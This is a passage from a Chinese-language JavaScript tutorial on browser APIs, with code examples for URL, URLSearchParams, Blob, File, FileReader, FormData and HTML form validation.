var a = document.createElement('a');
a.href = 'http://example.com/?foo=1';

a.hostname // "example.com"
a.search // "?foo=1"

上面代码中,a<a>元素的 DOM 节点对象。可以在这个对象上使用 URL 的实例属性,比如hostnamesearch

构造函数

URL对象本身是一个构造函数,可以生成 URL 实例。

它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL,会报错。

1
2
3
var url = new URL('http://www.example.com/index.html');
url.href
// "http://www.example.com/index.html"

如果参数是另一个 URL 实例,构造函数会自动读取该实例的href属性,作为实际参数。

如果 URL 字符串是一个相对路径,那么需要表示绝对路径的第二个参数,作为计算基准。

1
2
3
4
5
6
7
8
9
10
11
var url1 = new URL('index.html', 'http://example.com');
url1.href
// "http://example.com/index.html"

var url2 = new URL('page2.html', 'http://example.com/page1.html');
url2.href
// "http://example.com/page2.html"

var url3 = new URL('..', 'http://example.com/a/b.html')
url3.href
// "http://example.com/"

上面代码中,返回的 URL 实例的路径都是在第二个参数的基础上,切换到第一个参数得到的。最后一个例子里面,第一个参数是..,表示上层路径。

实例属性

URL 实例的属性与Location对象的属性基本一致,返回当前 URL 的信息。

  • URL.href:返回整个 URL
  • URL.protocol:返回协议,以冒号:结尾
  • URL.hostname:返回域名
  • URL.host:返回域名与端口,包含:号,默认的80和443端口会省略
  • URL.port:返回端口
  • URL.origin:返回协议、域名和端口
  • URL.pathname:返回路径,以斜杠/开头
  • URL.search:返回查询字符串,以问号?开头
  • URL.searchParams:返回一个URLSearchParams实例,该属性是Location对象没有的
  • URL.hash:返回片段识别符,以井号#开头
  • URL.password:返回域名前面的密码
  • URL.username:返回域名前面的用户名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var url = new URL('http://user:passwd@www.example.com:4097/path/a.html?x=111#part1');

url.href
// "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1"
url.protocol
// "http:"
url.hostname
// "www.example.com"
url.host
// "www.example.com:4097"
url.port
// "4097"
url.origin
// "http://www.example.com:4097"
url.pathname
// "/path/a.html"
url.search
// "?x=111"
url.searchParams
// URLSearchParams {}
url.hash
// "#part1"
url.password
// "passwd"
url.username
// "user"

这些属性里面,只有origin属性是只读的,其他属性都可写。

1
2
3
4
5
6
7
var url = new URL('http://example.com/index.html#part1');

url.pathname = 'index2.html';
url.href // "http://example.com/index2.html#part1"

url.hash = '#part2';
url.href // "http://example.com/index2.html#part2"

上面代码中,改变 URL 实例的pathname属性和hash属性,都会实时反映在 URL 实例当中。

静态方法

(1)URL.createObjectURL()

URL.createObjectURL方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了File对象或Blob对象的 URL。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// HTML 代码如下
// <div id="display"/>
// <input
// type="file"
// id="fileElem"
// multiple
// accept="image/*"
// onchange="handleFiles(this.files)"
// >
var div = document.getElementById('display');

function handleFiles(files) {
for (var i = 0; i < files.length; i++) {
var img = document.createElement('img');
img.src = window.URL.createObjectURL(files[i]);
div.appendChild(img);
}
}

上面代码中,URL.createObjectURL方法用来为上传的文件生成一个 URL 字符串,作为<img>元素的图片来源。

该方法生成的 URL 就像下面的样子。

1
blob:http://localhost/c745ef73-ece9-46da-8f66-ebes574789b1

注意,每次使用URL.createObjectURL方法,都会在内存里面生成一个 URL 实例。如果不再需要该方法生成的 URL 字符串,为了节省内存,可以使用URL.revokeObjectURL()方法释放这个实例。

(2)URL.revokeObjectURL()

URL.revokeObjectURL方法用来释放URL.createObjectURL方法生成的 URL 实例。它的参数就是URL.createObjectURL方法返回的 URL 字符串。

下面为上一段的示例加上URL.revokeObjectURL()

1
2
3
4
5
6
7
8
9
10
11
12
var div = document.getElementById('display');

function handleFiles(files) {
for (var i = 0; i < files.length; i++) {
var img = document.createElement('img');
img.src = window.URL.createObjectURL(files[i]);
div.appendChild(img);
img.onload = function() {
window.URL.revokeObjectURL(this.src);
}
}
}

上面代码中,一旦图片加载成功以后,为本地文件生成的 URL 字符串就没用了,于是可以在img.onload回调函数里面,通过URL.revokeObjectURL方法卸载这个 URL 实例。

URLSearchParams 对象

概述

URLSearchParams对象是浏览器的原生对象,用来构造、解析和处理 URL 的查询字符串(即 URL 问号后面的部分)。

它本身也是一个构造函数,可以生成实例。参数可以为查询字符串,起首的问号?有没有都行,也可以是对应查询字符串的数组或对象。

1
2
3
4
5
6
7
8
9
10
// 方法一:传入字符串
var params = new URLSearchParams('?foo=1&bar=2');
// 等同于
var params = new URLSearchParams(document.location.search);

// 方法二:传入数组
var params = new URLSearchParams([['foo', 1], ['bar', 2]]);

// 方法三:传入对象
var params = new URLSearchParams({'foo' : 1 , 'bar' : 2});

URLSearchParams会对查询字符串自动编码。

1
2
var params = new URLSearchParams({'foo': '你好'});
params.toString() // "foo=%E4%BD%A0%E5%A5%BD"

上面代码中,foo的值是汉字,URLSearchParams对其自动进行 URL 编码。

浏览器向服务器发送表单数据时,可以直接使用URLSearchParams实例作为表单数据。

1
2
3
4
5
const params = new URLSearchParams({foo: 1, bar: 2});
fetch('https://example.com/api', {
method: 'POST',
body: params
}).then(...)

上面代码中,fetch命令向服务器发送命令时,可以直接使用URLSearchParams实例。

URLSearchParams可以与URL接口结合使用。

1
2
var url = new URL(window.location);
var foo = url.searchParams.get('foo') || 'somedefault';

上面代码中,URL 实例的searchParams属性就是一个URLSearchParams实例,所以可以使用URLSearchParams接口的get方法。

DOM 的a元素节点的searchParams属性,就是一个URLSearchParams实例。

1
2
3
var a = document.createElement('a');
a.href = 'https://example.com?filter=api';
a.searchParams.get('filter') // "api"

URLSearchParams实例有遍历器接口,可以用for...of循环遍历(详见《ES6 标准入门》的《Iterator》一章)。

1
2
3
4
5
6
7
var params = new URLSearchParams({'foo': 1 , 'bar': 2});

for (var p of params) {
console.log(p[0] + ': ' + p[1]);
}
// foo: 1
// bar: 2

URLSearchParams没有实例属性,只有实例方法。

URLSearchParams.toString()

toString方法返回实例的字符串形式。

1
2
3
4
var url = new URL('https://example.com?foo=1&bar=2');
var params = new URLSearchParams(url.search);

params.toString() // "foo=1&bar=2'

那么需要字符串的场合,会自动调用toString方法。

1
2
var params = new URLSearchParams({version: 2.0});
window.location.href = location.pathname + '?' + params;

上面代码中,location.href赋值时,可以直接使用params对象。这时就会自动调用toString方法。

URLSearchParams.append()

append方法用来追加一个查询参数。它接受两个参数,第一个为键名,第二个为键值,没有返回值。

1
2
3
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('baz', 3);
params.toString() // "foo=1&bar=2&baz=3"

append方法不会识别是否键名已经存在。

1
2
3
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.append('foo', 3);
params.toString() // "foo=1&bar=2&foo=3"

上面代码中,查询字符串里面foo已经存在了,但是append依然会追加一个同名键。

URLSearchParams.delete()

delete方法用来删除指定的查询参数。它接受键名作为参数。

1
2
3
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.delete('bar');
params.toString() // "foo=1"

URLSearchParams.has()

has方法返回一个布尔值,表示查询字符串是否包含指定的键名。

1
2
3
var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.has('bar') // true
params.has('baz') // false

URLSearchParams.set()

set方法用来设置查询字符串的键值。

它接受两个参数,第一个是键名,第二个是键值。如果是已经存在的键,键值会被改写,否则会被追加。

1
2
3
4
5
var params = new URLSearchParams('?foo=1');
params.set('foo', 2);
params.toString() // "foo=2"
params.set('bar', 3);
params.toString() // "foo=2&bar=3"

上面代码中,foo是已经存在的键,bar是还不存在的键。

如果有多个的同名键,set会移除现存所有的键。

1
2
3
var params = new URLSearchParams('?foo=1&foo=2');
params.set('foo', 3);
params.toString() // "foo=3"

下面是一个替换当前 URL 的例子。

1
2
3
4
5
6
// URL: https://example.com?version=1.0
var params = new URLSearchParams(location.search.slice(1));
params.set('version', 2.0);

window.history.replaceState({}, '', location.pathname + `?` + params);
// URL: https://example.com?version=2.0

URLSearchParams.get(),URLSearchParams.getAll()

get方法用来读取查询字符串里面的指定键。它接受键名作为参数。

1
2
3
var params = new URLSearchParams('?foo=1');
params.get('foo') // "1"
params.get('bar') // null

两个地方需要注意。第一,它返回的是字符串,如果原始值是数值,需要转一下类型;第二,如果指定的键名不存在,返回值是null

如果有多个的同名键,get返回位置最前面的那个键值。

1
2
var params = new URLSearchParams('?foo=3&foo=2&foo=1');
params.get('foo') // "3"

上面代码中,查询字符串有三个foo键,get方法返回最前面的键值3

getAll方法返回一个数组,成员是指定键的所有键值。它接受键名作为参数。

1
2
var params = new URLSearchParams('?foo=1&foo=2');
params.getAll('foo') // ["1", "2"]

上面代码中,查询字符串有两个foo键,getAll返回的数组就有两个成员。

URLSearchParams.sort()

sort方法对查询字符串里面的键进行排序,规则是按照 Unicode 码点从小到大排列。

该方法没有返回值,或者说返回值是undefined

1
2
3
var params = new URLSearchParams('c=4&a=2&b=3&a=1');
params.sort();
params.toString() // "a=2&a=1&b=3&c=4"

上面代码中,如果有两个同名的键a,它们之间不会排序,而是保留原始的顺序。

URLSearchParams.keys(),URLSearchParams.values(),URLSearchParams.entries()

这三个方法都返回一个遍历器对象,供for...of循环消费。它们的区别在于,keys方法返回的是键名的遍历器,values方法返回的是键值的遍历器,entries返回的是键值对的遍历器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var params = new URLSearchParams('a=1&b=2');

for(var p of params.keys()) {
console.log(p);
}
// a
// b

for(var p of params.values()) {
console.log(p);
}
// 1
// 2

for(var p of params.entries()) {
console.log(p);
}
// ["a", "1"]
// ["b", "2"]

如果直接对URLSearchParams进行遍历,其实内部调用的就是entries接口。

1
2
3
for (var p of params) {}
// 等同于
for (var p of params.entries()) {}

参考链接

ArrayBuffer 对象,Blob 对象

ArrayBuffer 对象

ArrayBuffer 对象表示一段二进制数据,用来模拟内存里面的数据。通过这个对象,JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。

这个对象是 ES6 才写入标准的,普通的网页编程用不到它,为了教程体系的完整,下面只提供一个简略的介绍,详细介绍请看《ES6 标准入门》里面的章节。

浏览器原生提供ArrayBuffer()构造函数,用来生成实例。它接受一个整数作为参数,表示这段二进制数据占用多少个字节。

1
var buffer = new ArrayBuffer(8);

上面代码中,实例对象buffer占用8个字节。

ArrayBuffer 对象有实例属性byteLength,表示当前实例占用的内存长度(单位字节)。

1
2
var buffer = new ArrayBuffer(8);
buffer.byteLength // 8

ArrayBuffer 对象有实例方法slice(),用来复制一部分内存。它接受两个整数参数,分别表示复制的开始位置(从0开始)和结束位置(复制时不包括结束位置),如果省略第二个参数,则表示一直复制到结束。

1
2
var buf1 = new ArrayBuffer(8);
var buf2 = buf1.slice(0);

上面代码表示复制原来的实例。

Blob 对象

简介

Blob 对象表示一个二进制文件的数据内容,比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件,它的名字是 Binary Large Object (二进制大型对象)的缩写。它与 ArrayBuffer 的区别在于,它用于操作二进制文件,而 ArrayBuffer 用于操作内存。

浏览器原生提供Blob()构造函数,用来生成实例对象。

1
new Blob(array [, options])

Blob构造函数接受两个参数。第一个参数是数组,成员是字符串或二进制对象,表示新生成的Blob实例对象的内容;第二个参数是可选的,是一个配置对象,目前只有一个属性type,它的值是一个字符串,表示数据的 MIME 类型,默认是空字符串。

1
2
var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});

上面代码中,实例对象myBlob包含的是字符串。生成实例的时候,数据类型指定为text/html

下面是另一个例子,Blob 保存 JSON 数据。

1
2
var obj = { hello: 'world' };
var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'});

实例属性和实例方法

Blob具有两个实例属性sizetype,分别返回数据的大小和类型。

1
2
3
4
5
var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});

myBlob.size // 32
myBlob.type // "text/html"

Blob具有一个实例方法slice,用来拷贝原来的数据,返回的也是一个Blob实例。

1
myBlob.slice(start,end, contentType)

slice方法有三个参数,都是可选的。它们依次是起始的字节位置(默认为0)、结束的字节位置(默认为size属性的值,该位置本身将不包含在拷贝的数据之中)、新实例的数据类型(默认为空字符串)。

获取文件信息

文件选择器<input type="file">用来让用户选取文件。出于安全考虑,浏览器不允许脚本自行设置这个控件的value属性,即文件必须是用户手动选取的,不能是脚本指定的。一旦用户选好了文件,脚本就可以读取这个文件。

文件选择器返回一个 FileList 对象,该对象是一个类似数组的成员,每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例,增加了namelastModifiedDate属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// HTML 代码如下
// <input type="file" accept="image/*" multiple onchange="fileinfo(this.files)"/>

function fileinfo(files) {
for (var i = 0; i < files.length; i++) {
var f = files[i];
console.log(
f.name, // 文件名,不含路径
f.size, // 文件大小,Blob 实例属性
f.type, // 文件类型,Blob 实例属性
f.lastModifiedDate // 文件的最后修改时间
);
}
}

除了文件选择器,拖放 API 的dataTransfer.files返回的也是一个FileList 对象,它的成员因此也是 File 实例对象。

下载文件

AJAX 请求时,如果指定responseType属性为blob,下载下来的就是一个 Blob 对象。

1
2
3
4
5
6
7
8
9
function getBlob(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.responseType = 'blob';
xhr.onload = function () {
callback(xhr.response);
}
xhr.send(null);
}

上面代码中,xhr.response拿到的就是一个 Blob 对象。

生成 URL

浏览器允许使用URL.createObjectURL()方法,针对 Blob 对象生成一个临时 URL,以便于某些 API 使用。这个 URL 以blob://开头,表明对应一个 Blob 对象,协议头后面是一个识别符,用来唯一对应内存里面的 Blob 对象。这一点与data://URL(URL 包含实际数据)和file://URL(本地文件系统里面的文件)都不一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var droptarget = document.getElementById('droptarget');

droptarget.ondrop = function (e) {
var files = e.dataTransfer.files;
for (var i = 0; i < files.length; i++) {
var type = files[i].type;
if (type.substring(0,6) !== 'image/')
continue;
var img = document.createElement('img');
img.src = URL.createObjectURL(files[i]);
img.onload = function () {
this.width = 100;
document.body.appendChild(this);
URL.revokeObjectURL(this.src);
}
}
}

上面代码通过为拖放的图片文件生成一个 URL,产生它们的缩略图,从而使得用户可以预览选择的文件。

浏览器处理 Blob URL 就跟普通的 URL 一样,如果 Blob 对象不存在,返回404状态码;如果跨域请求,返回403状态码。Blob URL 只对 GET 请求有效,如果请求成功,返回200状态码。由于 Blob URL 就是普通 URL,因此可以下载。

读取文件

取得 Blob 对象以后,可以通过FileReader对象,读取 Blob 对象的内容,即文件内容。

FileReader 对象提供四个方法,处理 Blob 对象。Blob 对象作为参数传入这些方法,然后以指定的格式返回。

  • FileReader.readAsText():返回文本,需要指定文本编码,默认为 UTF-8。
  • FileReader.readAsArrayBuffer():返回 ArrayBuffer 对象。
  • FileReader.readAsDataURL():返回 Data URL。
  • FileReader.readAsBinaryString():返回原始的二进制字符串。

下面是FileReader.readAsText()方法的例子,用来读取文本文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// HTML 代码如下
// <input type=’file' onchange='readfile(this.files[0])'></input>
// <pre id='output'></pre>
function readfile(f) {
var reader = new FileReader();
reader.readAsText(f);
reader.onload = function () {
var text = reader.result;
var out = document.getElementById('output');
out.innerHTML = '';
out.appendChild(document.createTextNode(text));
}
reader.onerror = function(e) {
console.log('Error', e);
};
}

上面代码中,通过指定 FileReader 实例对象的onload监听函数,在实例的result属性上拿到文件内容。

下面是FileReader.readAsArrayBuffer()方法的例子,用于读取二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// HTML 代码如下
// <input type="file" onchange="typefile(this.files[0])"></input>
function typefile(file) {
// 文件开头的四个字节,生成一个 Blob 对象
var slice = file.slice(0, 4);
var reader = new FileReader();
// 读取这四个字节
reader.readAsArrayBuffer(slice);
reader.onload = function (e) {
var buffer = reader.result;
// 将这四个字节的内容,视作一个32位整数
var view = new DataView(buffer);
var magic = view.getUint32(0, false);
// 根据文件的前四个字节,判断它的类型
switch(magic) {
case 0x89504E47: file.verified_type = 'image/png'; break;
case 0x47494638: file.verified_type = 'image/gif'; break;
case 0x25504446: file.verified_type = 'application/pdf'; break;
case 0x504b0304: file.verified_type = 'application/zip'; break;
}
console.log(file.name, file.verified_type);
};
}

File 对象,FileList 对象,FileReader 对象

File 对象

File 对象代表一个文件,用来读写文件信息。它继承了 Blob 对象,或者说是一种特殊的 Blob 对象,所有可以使用 Blob 对象的场合都可以使用它。

最常见的使用场合是表单的文件上传控件(<input type="file">),用户选中文件以后,浏览器就会生成一个数组,里面是每一个用户选中的文件,它们都是 File 实例对象。

1
2
3
4
// HTML 代码如下
// <input id="fileItem" type="file">
var file = document.getElementById('fileItem').files[0];
file instanceof File // true

上面代码中,file是用户选中的第一个文件,它是 File 的实例。

构造函数

浏览器原生提供一个File()构造函数,用来生成 File 实例对象。

1
new File(array, name [, options])

File()构造函数接受三个参数。

  • array:一个数组,成员可以是二进制对象或字符串,表示文件的内容。
  • name:字符串,表示文件名或文件路径。
  • options:配置对象,设置实例的属性。该参数可选。

第三个参数配置对象,可以设置两个属性。

  • type:字符串,表示实例对象的 MIME 类型,默认值为空字符串。
  • lastModified:时间戳,表示上次修改的时间,默认为Date.now()

下面是一个例子。

1
2
3
4
5
6
7
var file = new File(
['foo'],
'foo.txt',
{
type: 'text/plain',
}
);

实例属性和实例方法

File 对象有以下实例属性。

  • File.lastModified:最后修改时间
  • File.name:文件名或文件路径
  • File.size:文件大小(单位字节)
  • File.type:文件的 MIME 类型
1
2
3
4
5
6
7
var myFile = new File([], 'file.bin', {
lastModified: new Date(2018, 1, 1),
});
myFile.lastModified // 1517414400000
myFile.name // "file.bin"
myFile.size // 0
myFile.type // ""

上面代码中,由于myFile的内容为空,也没有设置 MIME 类型,所以size属性等于0,type属性等于空字符串。

File 对象没有自己的实例方法,由于继承了 Blob 对象,因此可以使用 Blob 的实例方法slice()

FileList 对象

FileList对象是一个类似数组的对象,代表一组选中的文件,每个成员都是一个 File 实例。它主要出现在两个场合。

  • 文件控件节点(<input type="file">)的files属性,返回一个 FileList 实例。
  • 拖拉一组文件时,目标区的DataTransfer.files属性,返回一个 FileList 实例。
1
2
3
4
// HTML 代码如下
// <input id="fileItem" type="file">
var files = document.getElementById('fileItem').files;
files instanceof FileList // true

上面代码中,文件控件的files属性是一个 FileList 实例。

FileList 的实例属性主要是length,表示包含多少个文件。

FileList 的实例方法主要是item(),用来返回指定位置的实例。它接受一个整数作为参数,表示位置的序号(从零开始)。但是,由于 FileList 的实例是一个类似数组的对象,可以直接用方括号运算符,即myFileList[0]等同于myFileList.item(0),所以一般用不到item()方法。

FileReader 对象

FileReader 对象用于读取 File 对象或 Blob 对象所包含的文件内容。

浏览器原生提供一个FileReader构造函数,用来生成 FileReader 实例。

1
var reader = new FileReader();

FileReader 有以下的实例属性。

  • FileReader.error:读取文件时产生的错误对象
  • FileReader.readyState:整数,表示读取文件时的当前状态。一共有三种可能的状态,0表示尚未加载任何数据,1表示数据正在加载,2表示加载完成。
  • FileReader.result:读取完成后的文件内容,有可能是字符串,也可能是一个 ArrayBuffer 实例。
  • FileReader.onabort:abort事件(用户终止读取操作)的监听函数。
  • FileReader.onerror:error事件(读取错误)的监听函数。
  • FileReader.onload:load事件(读取操作完成)的监听函数,通常在这个函数里面使用result属性,拿到文件内容。
  • FileReader.onloadstart:loadstart事件(读取操作开始)的监听函数。
  • FileReader.onloadend:loadend事件(读取操作结束)的监听函数。
  • FileReader.onprogress:progress事件(读取操作进行中)的监听函数。

下面是监听load事件的一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
// HTML 代码如下
// <input type="file" onchange="onChange(event)">

function onChange(event) {
var file = event.target.files[0];
var reader = new FileReader();
reader.onload = function (event) {
console.log(event.target.result)
};

reader.readAsText(file);
}

上面代码中,每当文件控件发生变化,就尝试读取第一个文件。如果读取成功(load事件发生),就打印出文件内容。

FileReader 有以下实例方法。

  • FileReader.abort():终止读取操作,readyState属性将变成2
  • FileReader.readAsArrayBuffer():以 ArrayBuffer 的格式读取文件,读取完成后result属性将返回一个 ArrayBuffer 实例。
  • FileReader.readAsBinaryString():读取完成后,result属性将返回原始的二进制字符串。
  • FileReader.readAsDataURL():读取完成后,result属性将返回一个 Data URL 格式(Base64 编码)的字符串,代表文件内容。对于图片文件,这个字符串可以用于<img>元素的src属性。注意,这个字符串不能直接进行 Base64 解码,必须把前缀data:*/*;base64,从字符串里删除以后,再进行解码。
  • FileReader.readAsText():读取完成后,result属性将返回文件内容的文本字符串。该方法的第一个参数是代表文件的 Blob 实例,第二个参数是可选的,表示文本编码,默认为 UTF-8。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* HTML 代码如下
<input type="file" onchange="previewFile()">
<img src="" height="200">
*/

function previewFile() {
var preview = document.querySelector('img');
var file = document.querySelector('input[type=file]').files[0];
var reader = new FileReader();

reader.addEventListener('load', function () {
preview.src = reader.result;
}, false);

if (file) {
reader.readAsDataURL(file);
}
}

上面代码中,用户选中图片文件以后,脚本会自动读取文件内容,然后作为一个 Data URL 赋值给<img>元素的src属性,从而把图片展示出来。

表单,FormData 对象

表单概述

表单(<form>)用来收集用户提交的数据,发送到服务器。比如,用户提交用户名和密码,让服务器验证,就要通过表单。表单提供多种控件,让开发者使用,具体的控件种类和用法请参考 HTML 语言的教程。本章主要介绍 JavaScript 与表单的交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
<form action="/handling-page" method="post">
<div>
<label for="name">用户名:</label>
<input type="text" id="name" name="user_name" />
</div>
<div>
<label for="passwd">密码:</label>
<input type="password" id="passwd" name="user_passwd" />
</div>
<div>
<input type="submit" id="submit" name="submit_button" value="提交" />
</div>
</form>

上面代码就是一个简单的表单,包含三个控件:用户名输入框、密码输入框和提交按钮。

用户点击“提交”按钮,每一个控件都会生成一个键值对,键名是控件的name属性,键值是控件的value属性,键名和键值之间由等号连接。比如,用户名输入框的name属性是user_namevalue属性是用户输入的值,假定是“张三”,提交到服务器的时候,就会生成一个键值对user_name=张三

所有的键值对都会提交到服务器。但是,提交的数据格式跟<form>元素的method属性有关。该属性指定了提交数据的 HTTP 方法。如果是 GET 方法,所有键值对会以 URL 的查询字符串形式,提交到服务器,比如/handling-page?user_name=张三&user_passwd=123&submit_button=提交。下面就是 GET 请求的 HTTP 头信息。

1
2
GET /handling-page?user_name=张三&user_passwd=123&submit_button=提交
Host: example.com

如果是 POST 方法,所有键值对会连接成一行,作为 HTTP 请求的数据体发送到服务器,比如user_name=张三&user_passwd=123&submit_button=提交。下面就是 POST 请求的头信息。

1
2
3
4
5
6
POST /handling-page HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

user_name=张三&user_passwd=123&submit_button=提交

注意,实际提交的时候,只要键值不是 URL 的合法字符(比如汉字“张三”和“确定”),浏览器会自动对其进行编码。

点击submit控件,就可以提交表单。

1
2
3
<form>
<input type="submit" value="提交">
</form>

上面表单就包含一个submit控件,点击这个控件,浏览器就会把表单数据向服务器提交。

注意,表单里面的<button>元素如果没有用type属性指定类型,那么默认就是submit控件。

1
2
3
<form>
<button>提交</button>
</form>

上面表单的<button>元素,点击以后也会提交表单。

除了点击submit控件提交表单,还可以用表单元素的submit()方法,通过脚本提交表单。

1
formElement.submit();

表单元素的reset()方法可以重置所有控件的值(重置为默认值)。

1
formElement.reset()

FormData 对象

概述

表单数据以键值对的形式向服务器发送,这个过程是浏览器自动完成的。但是有时候,我们希望通过脚本完成过程,构造和编辑表单键值对,然后通过XMLHttpRequest.send()方法发送。浏览器原生提供了 FormData 对象来完成这项工作。

FormData 首先是一个构造函数,用来生成实例。

1
var formdata = new FormData(form);

FormData()构造函数的参数是一个表单元素,这个参数是可选的。如果省略参数,就表示一个空的表单,否则就会处理表单元素里面的键值对。

下面是一个表单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<form id="myForm" name="myForm">
<div>
<label for="username">用户名:</label>
<input type="text" id="username" name="username">
</div>
<div>
<label for="useracc">账号:</label>
<input type="text" id="useracc" name="useracc">
</div>
<div>
<label for="userfile">上传文件:</label>
<input type="file" id="userfile" name="userfile">
</div>
<input type="submit" value="Submit!">
</form>

我们用 FormData 对象处理上面这个表单。

1
2
3
4
5
6
7
8
9
10
var myForm = document.getElementById('myForm');
var formData = new FormData(myForm);

// 获取某个控件的值
formData.get('username') // ""

// 设置某个控件的值
formData.set('username', '张三');

formData.get('username') // "张三"

实例方法

FormData 提供以下实例方法。

  • FormData.get(key):获取指定键名对应的键值,参数为键名。如果有多个同名的键值对,则返回第一个键值对的键值。
  • FormData.getAll(key):返回一个数组,表示指定键名对应的所有键值。如果有多个同名的键值对,数组会包含所有的键值。
  • FormData.set(key, value):设置指定键名的键值,参数为键名。如果键名不存在,会添加这个键值对,否则会更新指定键名的键值。如果第二个参数是文件,还可以使用第三个参数,表示文件名。
  • FormData.delete(key):删除一个键值对,参数为键名。
  • FormData.append(key, value):添加一个键值对。如果键名重复,则会生成两个相同键名的键值对。如果第二个参数是文件,还可以使用第三个参数,表示文件名。
  • FormData.has(key):返回一个布尔值,表示是否具有该键名的键值对。
  • FormData.keys():返回一个遍历器对象,用于for...of循环遍历所有的键名。
  • FormData.values():返回一个遍历器对象,用于for...of循环遍历所有的键值。
  • FormData.entries():返回一个遍历器对象,用于for...of循环遍历所有的键值对。如果直接用for...of循环遍历 FormData 实例,默认就会调用这个方法。

下面是get()getAll()set()append()方法的例子。

1
2
3
4
5
6
7
8
9
var formData = new FormData();

formData.set('username', '张三');
formData.append('username', '李四');
formData.get('username') // "张三"
formData.getAll('username') // ["张三", "李四"]

formData.append('userpic[]', myFileInput.files[0], 'user1.jpg');
formData.append('userpic[]', myFileInput.files[1], 'user2.jpg');

下面是遍历器的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var formData = new FormData();
formData.append('key1', 'value1');
formData.append('key2', 'value2');

for (var key of formData.keys()) {
console.log(key);
}
// "key1"
// "key2"

for (var value of formData.values()) {
console.log(value);
}
// "value1"
// "value2"

for (var pair of formData.entries()) {
console.log(pair[0] + ': ' + pair[1]);
}
// key1: value1
// key2: value2

// 等同于遍历 formData.entries()
for (var pair of formData) {
console.log(pair[0] + ': ' + pair[1]);
}
// key1: value1
// key2: value2

表单的内置验证

自动校验

表单提交的时候,浏览器允许开发者指定一些条件,它会自动验证各个表单控件的值是否符合条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- 必填 -->
<input required>

<!-- 必须符合正则表达式 -->
<input pattern="banana|cherry">

<!-- 字符串长度必须为6个字符 -->
<input minlength="6" maxlength="6">

<!-- 数值必须在1到10之间 -->
<input type="number" min="1" max="10">

<!-- 必须填入 Email 地址 -->
<input type="email">

<!-- 必须填入 URL -->
<input type="URL">

如果一个控件通过验证,它就会匹配:valid的 CSS 伪类,浏览器会继续进行表单提交的流程。如果没有通过验证,该控件就会匹配:invalid的 CSS 伪类,浏览器会终止表单提交,并显示一个错误信息。

checkValidity()

除了提交表单的时候,浏览器自动校验表单,还可以手动触发表单的校验。表单元素和表单控件都有checkValidity()方法,用于手动触发校验。

1
2
3
4
5
// 触发整个表单的校验
form.checkValidity()

// 触发单个表单控件的校验
formControl.checkValidity()

checkValidity()方法返回一个布尔值,true表示通过校验,false表示没有通过校验。因此,提交表单可以封装为下面的函数。

1
2
3
4
5
6
7
function submitForm(action) {
var form = document.getElementById('form');
form.action = action;
if (form.checkValidity()) {
form.submit();
}
}

willValidate 属性

控件元素的willValidate属性是一个布尔值,表示该控件是否会在提交时进行校验。

1
2
3
4
5
6
7
// HTML 代码如下
// <form novalidate>
// <input id="name" name="name" required />
// </form>

var input = document.querySelector('#name');
input.willValidate // true

validationMessage 属性

控件元素的validationMessage属性返回一个字符串,表示控件不满足校验条件时,浏览器显示的提示文本。以下两种情况,该属性返回空字符串。

  • 该控件不会在提交时自动校验
  • 该控件满足校验条件
1
2
3
4
// HTML 代码如下
// <form><input type="text" required></form>
document.querySelector('form input').validationMessage
// "请填写此字段。"

下面是另一个例子。

1
2
3
4
var myInput = document.getElementById('myinput');
if (!myInput.checkValidity()) {
document.getElementById('prompt').innerHTML = myInput.validationMessage;
}

setCustomValidity()

控件元素的setCustomValidity()方法用来定制校验失败时的报错信息。它接受一个字符串作为参数,该字符串就是定制的报错信息。如果参数为空字符串,则上次设置的报错信息被清除。

如果调用这个方法,并且参数不为空字符串,浏览器就会认为控件没有通过校验,就会立刻显示该方法设置的报错信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* HTML 代码如下
<form>
<p><input type="file" id="fs"></p>
<p><input type="submit"></p>
</form>
*/

document.getElementById('fs').onchange = checkFileSize;

function checkFileSize() {
var fs = document.getElementById('fs');
var files = fs.files;
if (files.length > 0) {
if (files[0].size > 75 * 1024) {
fs.setCustomValidity('文件不能大于 75KB');
return;
}
}
fs.setCustomValidity('');
}

上面代码一旦发现文件大于 75KB,就会设置校验失败,同时给出自定义的报错信息。然后,点击提交按钮时,就会显示报错信息。这种校验失败是不会自动消除的,所以如果所有文件都符合条件,要将报错信息设为空字符串,手动消除校验失败的状态。

validity 属性

控件元素的属性validity属性返回一个ValidityState对象,包含当前校验状态的信息。

该对象有以下属性,全部为只读属性。

  • ValidityState.badInput:布尔值,表示浏览器是否不能将用户的输入转换成正确的类型,比如用户在数值框里面输入字符串。
